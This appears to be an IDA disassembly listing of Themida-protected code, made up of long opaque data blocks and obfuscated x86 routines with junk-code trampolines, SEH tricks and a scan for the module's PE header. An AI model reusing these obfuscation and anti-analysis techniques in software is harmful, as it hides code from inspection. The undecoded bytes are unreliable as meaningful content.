dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0FBF4C352h
dd 187461DFh, 0E993D811h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh
dd 70A5FED7h, 0E950596Ah, 0Bh, 6A967AD5h, 5ED03CCFh, 932E24EEh
dd 65907BFh, 0D5B5FF77h, 6607E42Ah, 95FFF88Bh, 7E40E41h
dd 3581BD89h, 0B007E4h, 71E470E6h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 0A9C35646h, 0BF571535h, 73BFAC50h
dd 613CF95Eh, 25C830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 2BBAA3C3h, 609F5524h
dd 0BDA8B66h, 0E4034585h, 0B60F6107h, 6BAD8h, 6A0000h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
dd 692764C3h, 0CCD11BBFh, 958D89FAh, 8B07E42Dh, 0C1F38BC3h
dd 0E95704E8h, 0Ah, 63E8D690h, 0E283C274h, 665E0FFCh, 9589E2F7h
dd 7E402E1h, 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 0BEC0F2C3h, 58ECF7E1h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7FC35242h, 0F57F38F6h
dd 0FD82BF5h, 19188h, 5D9D2900h, 0B907E405h, 7, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8DC35242h, 0F676E3D4h
dd 1FEDBD8Bh, 0C18307E4h, 11E800h, 45380000h, 77062954h
dd 1012BF2Ah, 1811D81Ah, 0FE91D04h, 68Dh, 9B52300h, 5F07E41Bh
dd 860FD93Bh, 132h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 0FC35040h, 0DF3DB6C3h, 0E9BC8E33h, 0Dh
dd 68D09620h, 738A96DAh, 0E721EB20h, 0D98C66D2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0AC35646h, 0C1F6AC7Eh
dd 0B3840F04h, 0FF000000h, 0E42D9195h, 57006A07h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0CB402765h, 16916C14h, 6A5B01h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 54C787C3h, 0EFB7D9A3h
dd 2B64D857h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1B04h, 0C3564600h, 0AD90C09h, 0C7FA9F1Dh, 2EA99D89h
dd 343D07E4h, 0F000008h, 2D86h, 7E900h, 2070000h, 55E828EFh
dd 3CE9BBh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 0C08BAEC3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 0C9C35242h, 0C38B2D9Dh, 0BE66D88Bh
dd 0B58B79FCh, 7E41F45h, 55585C7h, 0CFFD07E4h, 8BFC710Bh
dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 96978E7Ch, 81F08B0Dh, 0E42AD5BDh, 7D007h
dd 2E850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 3517C356h, 38B032B3h
dd 0D585FFE9h, 8B07E42Ah, 0E41C71B5h, 0D5B5FF07h, 6607E42Ah
dd 95FFF98Bh, 7E40E41h, 1E19BD8Bh, 8B9007E4h, 58529FEh
dd 8B07E40Ah, 0E40619BDh, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0E9FACF18h
dd 0Dh, 0EB7AA82Fh, 0B48B8753h, 0B64A10A2h, 0F5BD8BF6h
dd 6A07E431h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 8848C353h, 0BD09532Eh, 7E41455h
dd 14E85Eh, 0DB5D0000h, 0E5AC9F5h, 0FF44F157h, 2B6BD8A4h
dd 58B79C17h, 8D094215h, 7E42045h, 0ED95315Fh, 8B07E41Ch
dd 0E41D75B5h, 0B8F78107h, 3355CB30h, 0E40D6DB5h, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 5A531001h, 8B74ACD0h, 88C0FF0h, 51000000h, 0BE66F88Bh
dd 0F85F1019h, 840F6060h, 0
; ---------------------------------------------------------------------------
or eax, 706A4196h
popa
mov [ebp+7E42195h], eax
popa
push 0
push ebx
call sub_5C82A1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C82A1 proc near ; CODE XREF: Themida_:005C8299p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C82A1 endp
; ---------------------------------------------------------------------------
db 23h, 2Ah, 0B3h
dd 0E18992B9h, 8B8D0948h, 0E42D2DBDh, 85296007h, 7E42155h
dd 9830Fh, 8B660000h, 0B58589CAh, 0B907E425h, 600F9BDEh
dd 0F849E961h, 0BD33FFFFh, 7E41D21h, 6AC18Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 376A6EC3h
dd 4EBF679h, 0
; ---------------------------------------------------------------------------
xor [ebp+7E418F1h], edx
push 0
push ecx
call sub_5C8321
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8321 proc near ; CODE XREF: Themida_:005C8319p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5C8321 endp
; ---------------------------------------------------------------------------
add eax, 0EC7D42ECh
lea eax, [ebp+7E40D85h]
push 0
push ebp
call sub_5C8347
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C8347 proc near ; CODE XREF: Themida_:005C833Fp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5C8347 endp
; ---------------------------------------------------------------------------
db 74h
dd 0BC2C9971h, 5050784Eh, 0AFC1BF52h, 310F2EE9h, 5AFB8B66h
dd 24048958h, 13ED9509h, 6A07E4h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 15C35545h, 0E997A1D9h, 0Eh
dd 0F07F8777h, 0C9CD08D6h, 8BA21102h, 0BDBFC5C1h, 6A4F0041h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 4047D164h, 68D0Fh, 0BD8B0000h, 7E40A65h
dd 2F81B58Bh, 858D07E4h, 7E8606Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 0D3C35545h, 554949B5h, 26199589h
dd 0C08307E4h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 40BF5414h, 5024DFBAh
dd 60605250h, 6162B461h, 6660310Fh, 880FD18Bh, 0
; ---------------------------------------------------------------------------
popa
pop edx
pop eax
mov [esp], eax
push edx
mov [ebp+7E4232Dh], ebx
pop edi
push 0
mov esi, [ebp+7E41C59h]
mov di, 7503h
push 0
push 0
push edi
call sub_5C846F
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C846F proc near ; CODE XREF: Themida_:005C8467p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_5C846F endp
; ---------------------------------------------------------------------------
db 35h
dd 0A8A0F51h, 0E9000000h, 5, 54B5844Eh, 7195FF19h, 0F07E424h
dd 9D8DFBBFh, 7E7D64Bh, 25859501h, 0D3FF07E4h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h, 6CEED62Eh
dd 0A13AAF93h, 0F5DBA2BEh, 0B985FF0Dh, 6A07E420h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 2A98C357h, 68CFBE66h, 92FE9h, 0E800h, 815D0000h, 0E86077EDh
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 12E7E1CEh, 53639528h, 0DE81663Fh, 0BD81F110h
dd 7E42AD5h, 7D0h, 112860Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 48B4B9C3h
dd 89DBC3E2h, 0E41965BDh, 859D8B07h, 8907E423h, 0E403EDB5h
dd 0E38107h, 6A000001h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0C612C350h, 89FC4420h
dd 0BF88B66h, 8D850FDBh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 9FA4C353h
dd 81BD83FBh, 7E85Eh, 31840Fh, 0BD8B0000h, 7E4138Dh, 67E9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 38BCB610h, 15BD8B55h, 0C707E419h, 0E85E8185h
dd 107h, 858D0100h, 0E907E41Ah, 2Ch, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 14h, 1C35646h, 5E8185C7h, 7E8h
dd 0B58B0000h, 7E4035Dh, 23859D8Dh, 238107E4h, 0FFFFFEFFh
dd 5696BF66h, 6ADB8C66h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0F7FFC355h, 0EFC43F2Ah
dd 9ABCF87Ah, 12E8h, 9C301800h, 0A020025Eh, 0E8159E20h
dd 975DA3B8h, 89F9F49Fh, 0E405F98Dh, 0C3F65E07h, 7C840F04h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 284C357h, 0BD8B33BEh, 7E420D9h
dd 2D9195FFh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 718B72C3h, 3FF26266h, 0E9A766DCh
dd 13h, 4B415853h, 6DDD4636h, 4C6C6167h, 1694C375h, 909B098Eh
dd 580BE50h, 8190283Ah, 7ABBB0F6h, 45858961h, 0E907E402h
dd 4D8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 60C35747h, 0B975A2E3h, 1989B58Bh, 8B0F07E4h, 6
dd 272D9589h, 0B007E4h, 11C68166h, 6A70E644h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 62DFC355h, 8971E4F1h, 0E420C5BDh, 0D8B60F07h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 55C35646h, 73BE6650h
dd 890F40h, 0BA000000h, 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 0FFC35343h, 0F8A91FF9h, 6AC38BC5h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 5168C353h, 0FEEF9BEh, 4E8C164h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 0CDC35040h, 7AD95CD2h, 281FF282h
dd 5830FB8h, 0BF000000h, 6D6B0E96h, 0CE9h, 3DA8F00h, 0B7AB8D45h
dd 9BC47B21h, 0E2F766EAh, 0DD1B58Bh, 0D82B07E4h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0D6C35242h, 0E8760D89h
dd 50ECD303h, 0A6DBBE66h, 81241C89h, 596854E7h, 0D5B5FF3Ch
dd 6A07E42Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0F03C356h, 1047A1E9h, 0E8369AF9h
dd 8, 6922452h, 738EEEAh, 2181B58Bh, 8B5F07E4h, 4195FFF2h
dd 0F807E40Eh, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 27042AC3h, 0C9FC04C9h, 1EDBD23h
dd 4BBE07E4h, 0E67AF9D4h, 0F78170h, 0E4720C09h, 50006A71h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0B9928945h, 14E9CA93h, 72000000h, 0BE9C90DBh, 304330A5h
dd 46D92011h, 295F51CEh, 665CC9EFh, 613CF88Bh, 2BE830Fh
dd 9D310000h, 7E422A5h, 6AD8B60Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC5C353h
dd 81CE0C48h, 0B2D93FF6h, 6BA5Bh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0A3BF81C3h
dd 51DC005Ah, 601B4D5Dh, 22A99D31h, 815207E4h, 9C8939C2h
dd 8B615F11h, 12E9C3h, 255F0000h, 76FDE95h, 9B40D7F9h
dd 0DE0E43A6h, 0B88C6892h, 6A04E8C1h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0AA93C350h
dd 0E1995C92h, 7EDF2B8h, 23D9BD8Bh, 0F76607E4h, 50006AE2h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 4770F80Eh, 9E94D39h, 0CE000000h, 0F34D25C7h, 4C216EA3h
dd 6AD82Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 756C78C3h, 0E858A1E3h, 7, 0E551147Eh, 5E7C9921h
dd 880FD82Bh, 1A4h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 19C35141h, 1861DBE9h, 9A036174h, 0B9F7B70Fh
dd 7, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h
dd 0B2C35646h, 0C1831Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 14h, 3C35343h, 860FD93Bh, 134h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0A6C35040h, 666181E7h
dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 4BF216C3h, 99CE1E09h, 0C1F68D53h, 0DE840F04h
dd 0BE000000h, 6224C471h, 2D9195FFh, 6A07E4h, 3E856h
dword_5C8B28 dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
; DATA XREF: Themida_:00583CB4o
dd 89535AC3h, 0E4237D9Dh, 6A5B5E07h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EF66C356h
dd 61D5470Ch, 2B540192h, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 0AED16D4Fh, 61D49B9Eh
dd 3DF56DE3h, 834h, 57860Fh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 850FB9C3h
dd 6, 2C31BD8Bh, 31E907E4h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F04CC352h
dd 958967DDh, 7E42465h, 57D860BFh, 0BFC08B4Bh, 67501B41h
dd 0D88BC38Bh, 10E860h, 87A70000h, 0BAC08EAFh, 846B33AAh
dd 0ABA67370h, 58F93996h, 0C0EA8166h, 85C761EDh, 7E41399h
dd 1F39CF3Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 0DBC35646h, 0C08B16A8h, 0BD81FA8Bh, 7E42AD5h, 7D0h
dd 30850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 1DBD8AC3h, 31918D01h, 853107E4h
dd 7E42165h, 2AD585FFh, 0B5FF07E4h, 7E42AD5h, 3840F60h
dd 66000000h, 0CB8BC28Bh, 4195FF61h, 6A07E40Eh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 288C352h, 6692A19Ah, 7BA9D781h, 57006A90h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0E71B250Dh
dd 8AE3083Ch, 13E89Eh, 0C1410000h, 3EE04623h, 42C89BB2h
dd 0D53E0D41h, 91C95AC2h, 60BE66E9h, 0BD895E3Bh, 7E4258Dh
dd 197DB52Bh, 0B70F07E4h, 9BD8BF3h, 0E907E40Bh, 0Fh, 0CB6F128Ch
dd 63770545h, 948FC1F5h, 0E81A2E02h, 0Dh, 0E04AE2F9h, 19A5D1D2h
dd 9B5B8A8Eh, 758D89F3h, 0F07E424h, 0C8Ah, 59950900h, 8B07E42Ah
dd 0E42319B5h, 8B665F07h, 57006AF8h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 3641522h, 0E41C7DB5h
dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 0CE81663Dh, 6A330Fh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 9BE513C3h
dd 892C7495h, 3957BF66h, 0A1958B60h, 6007E421h, 14A5B589h
dd 6E907E4h, 6000000h, 0DA2582DFh, 0CE96121h, 59000000h
dd 6C64FC31h, 6D3BA0C1h, 61F5EF05h, 6870Fh, 0B58B0000h
dd 7E415D9h, 0FFF6F4E9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 1317C8B6h, 0FCBFA89Ah
dd 0ED958B60h, 0B907E41Bh, 0FFFFFFFEh, 6820Fh, 0B5310000h
dd 7E407D5h, 1999958Bh, 8D2107E4h, 7E43591h, 0BEC46EBBh
dd 658D2134h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 3BE4C353h, 0F037CB91h
dd 0C1D0A59Eh, 35918D8Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1C0424h, 51410000h, 7E7113C3h, 0E306DDC9h
dd 858946E8h, 7E41B7Dh, 0F01E183h, 2585h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 1B78B48h, 77EA9987h, 8D8BD9DEh, 7E40965h, 1E183FCh
dd 6850Fh, 0CE810000h, 7C6CF282h, 6A6061h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 853425C3h
dd 84A50AF1h, 6ADBD29h, 816607E4h, 0B947C0DBh, 0FFFFFFFEh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 76C35040h
dd 6CB7907Ch, 0F5BD894Ah, 2107E42Dh, 0E41AC58Dh, 50006A07h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 66CF4993h, 215DD8BEh, 0E406FD8Dh, 958B5107h, 7E42B4Dh
dd 25CA805Ah, 1AC58D8Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 48B4B9C3h, 0E3DBC3E2h
dd 0F8A39D2Fh, 0F01E183h, 0B85h, 8DB58900h, 0B807E406h
dd 179BCEEBh, 6FD8D8Bh, 0BF6607E4h, 0E183714Dh, 0B850F01h
dd 0E9000000h, 6, 5BDB5BCAh, 6061E1EAh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 19h, 50C35242h, 0D761808Ch
dd 12E938h, 0C1720000h, 157E25EEh, 0B9188CC8h, 23CCE8B9h
dd 0CF5C2823h, 0FFFFFEB9h, 88C0FFFh, 57000000h, 17F18D89h
dd 215E07E4h, 0E405558Dh, 11E907h, 99940000h, 0D499129h
dd 0F88E97B6h, 0EB9789F0h, 8B7E837Eh, 998D21DFh, 0BF07E413h
dd 5EC71947h, 5558D8Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 150424h, 52420000h, 66E1D5C3h, 0F084D681h
dd 0F01E183h, 2485h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1604h, 0C3524200h, 81F73941h, 0DA8930D6h
dd 998D8B0Ah, 6A07E413h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 14042444h, 43000000h, 1BEC353h, 0E41D25BDh
dd 1E18307h, 1C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 6061A0C3h, 1A59D89h
dd 0FEB907E4h, 6AFFFFFFh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 303BC350h, 8D219D99h
dd 7E40B69h, 23DDB58Bh, 8D2107E4h, 7E42385h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 33C35242h, 0E9900E1Dh
dd 0B58968DCh, 7E4278Dh, 0B698D8Bh, 5E807E4h, 91000000h
dd 0DB84E4B2h, 0BE9h, 0EB6E8D00h, 0F1635387h, 456AE418h
dd 0B5BD895Eh, 8307E41Ch, 850F01E1h, 24h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0A8C35242h, 7BE0A9D7h
dd 0D18B81B5h, 23858D8Bh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0CE9D3C3h, 89000000h
dd 919B619Ch, 55FFBBABh, 8369E1F8h, 850F01E1h, 1, 6A6061F9h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 0EE55C356h, 3FA7F371h, 0D585C7F8h, 0D007E42Ah
dd 6A000007h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 0A27C356h, 6A611EB5h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 0E241C357h, 19C5950Bh, 0BD2307E4h, 7E43195h, 9D6107EBh
dd 0E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 0E54A2930h, 6A506Ch, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0E938B0C3h
dd 75E9C18Bh, 60000000h, 0A8D88C66h, 35840F04h, 6A000000h
dd 9DB5FF01h, 8D07E401h, 0E7B0A785h, 89D0FF07h, 0E40FA585h
dd 0C1FE8B07h, 680CEFh, 6A200400h, 57026A00h, 1000D68h
dd 0A595FF00h, 0E907E40Fh, 32h, 2C2D85C6h, 685607E4h, 0A9C530DFh
dd 2141B5FFh, 858D07E4h, 7E7B0A7h, 8589D0FFh, 7E40B5Dh
dd 1CE5858Dh, 6A5007E4h, 56056A20h
dd 0B5D95FFh, 0C36107E4h, 0BA06E0C1h, 0F0115000h, 0EA81h
dd 0C283F000h, 95958914h, 8307E41Bh, 858D14EAh, 7E86F4Eh
dd 35FF6450h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
call $+5
pop eax
sub eax, edx
and eax, 0FFFFF000h
loc_5C936C: ; CODE XREF: Themida_:005C938Ej
cmp word ptr [eax], 5A4Dh
jnz loc_5C9389
movzx edx, word ptr [eax+3Ch]
add edx, eax
cmp dword ptr [edx], 4550h
jz loc_5C9393
loc_5C9389: ; CODE XREF: Themida_:005C9371j
sub eax, 1000h
jmp loc_5C936C
; ---------------------------------------------------------------------------
loc_5C9393: ; CODE XREF: Themida_:005C9383j
mov ecx, eax
mov [ebp+7E415DDh], eax
add eax, [eax+3Ch]
movzx edx, word ptr [eax+6]
mov [ebp+7E422E9h], edx
mov edx, [eax+50h]
mov [ebp+7E41C55h], edx
add eax, 0F8h
mov edx, [eax+0Ch]
add edx, ecx
mov [ebp+7E40929h], edx
add edx, [eax+8]
mov [ebp+7E40075h], edx
pop large dword ptr fs:0
add esp, 4
jmp loc_5C93EC
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_5C93EC: ; CODE XREF: Themida_:005C93D4j
cmp dword ptr [ebp+7E4015Dh], 0
jz loc_5C941D
mov byte ptr [ebp+7E42C2Dh], 47h
push 0D49AA7D2h
push dword ptr [ebp+7E42141h]
lea eax, [ebp+7E7B0A7h]
call eax
push 0
call eax
mov [ebp+7E41615h], eax
loc_5C941D: ; CODE XREF: Themida_:005C93F3j
mov edx, ebx
pusha
pusha
jo loc_5C942A
movsx esi, ax
loc_5C942A: ; CODE XREF: Themida_:005C9421j
xor si, 0A3E6h
popa
mov di, bx
mov eax, eax
push 0
push eax
call sub_5C9440
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9440 proc near ; CODE XREF: Themida_:005C9438p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C9440 endp
; ---------------------------------------------------------------------------
push es
jle short near ptr loc_5C94BF+4
lodsd
xor eax, 70D0031h
mov esi, [ebp+7E41D55h]
mov esi, 67DCB738h
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5C9476
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5C948F
loc_5C9476: ; CODE XREF: Themida_:005C946Bj
push eax
push ebx
mov eax, eax
mov eax, 438h
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5C948F: ; CODE XREF: Themida_:005C9474j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5C94AF
push eax
push ebx
mov eax, 438h
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5C94AF: ; CODE XREF: Themida_:005C9496j
push 0
push eax
call sub_5C94BA
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C94BA proc near ; CODE XREF: Themida_:005C94B2p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
loc_5C94BF: ; CODE XREF: Themida_:005C9451j
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5C94BA endp
; ---------------------------------------------------------------------------
adc [edi], ah
add eax, 11B50B91h
add al, 0E4h
pop es
push 0
push ebx
call sub_5C94DF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C94DF proc near ; CODE XREF: Themida_:005C94D7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5C94DF endp
; ---------------------------------------------------------------------------
db 0D6h
dd 7C91323Ah, 0E87F2F95h, 8BC08BFCh, 0E43585BDh, 866E807h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 5FE744C3h, 0AFA6AFEFh, 0F558D77h, 68Bh, 8DBD8B00h
dd 0F07E422h, 68Eh, 0B9BD2300h, 8B07E400h, 0E42FE1B5h
dd 59858907h, 8907E40Ah, 0E40B9D8Dh, 812E807h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 0F755ACC3h, 0B00BE280h, 11E97Bh, 0EFE20000h, 0D18ABC08h
dd 0E0CEE74Dh, 655F3D36h, 89D9CCBEh, 0E406A585h, 53006A07h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 66FCB674h, 32FEE181h, 7ABE8h, 89B96600h, 118589B4h
dd 6A07E418h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 0A350C350h, 0CDACD735h, 0E8C759C5h
dd 778h, 341C681h, 858949E2h, 7E40919h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CAC35242h, 0B479E519h
dd 0FE01A88h, 684h, 29B58B00h, 0E807E41Ch, 738h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 54C35646h, 659D895Bh
dd 107E41Eh, 0E414DDBDh, 89F78B07h, 0E422FD85h, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0DCE4A58h, 0DCE5FA75h, 6DEE804h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B1F70CC3h
dd 0AA5B9B83h, 0F18B668Ah, 89FBBF0Fh, 0E4158185h, 5F506007h
dd 0E8615A50h, 6A4h, 68F0Fh, 85890000h, 7E42009h, 1E158589h
dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 0E8F43CC3h, 0Fh, 0AEDBA021h, 77F1C840h, 0F670412Fh
dd 6621A1FBh, 0E85FF18Bh, 658h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 35C35747h, 14428D92h, 0E4ED9185h
dd 0AED8589h, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0E87B05C3h, 60Ch, 4B60BE66h, 2D58589h
dd 10E907E4h, 0CE000000h, 6F24F55Ch, 6F8FA2EDh, 501D756Eh
dd 0E8277426h, 5E8h, 14E8h, 0E5921D00h, 0A5825F24h, 12ECB50Ch
dd 3CC75F8Fh, 0C2CC59E8h, 1810FEBh, 0F9000000h, 13E85Fh
dd 6B040000h, 37227A7h, 8F515E1Dh, 0A14728A4h, 0E901D35h
dd 19D896Dh, 5907E427h, 1D498589h, 0BF0F07E4h, 59AE8F1h
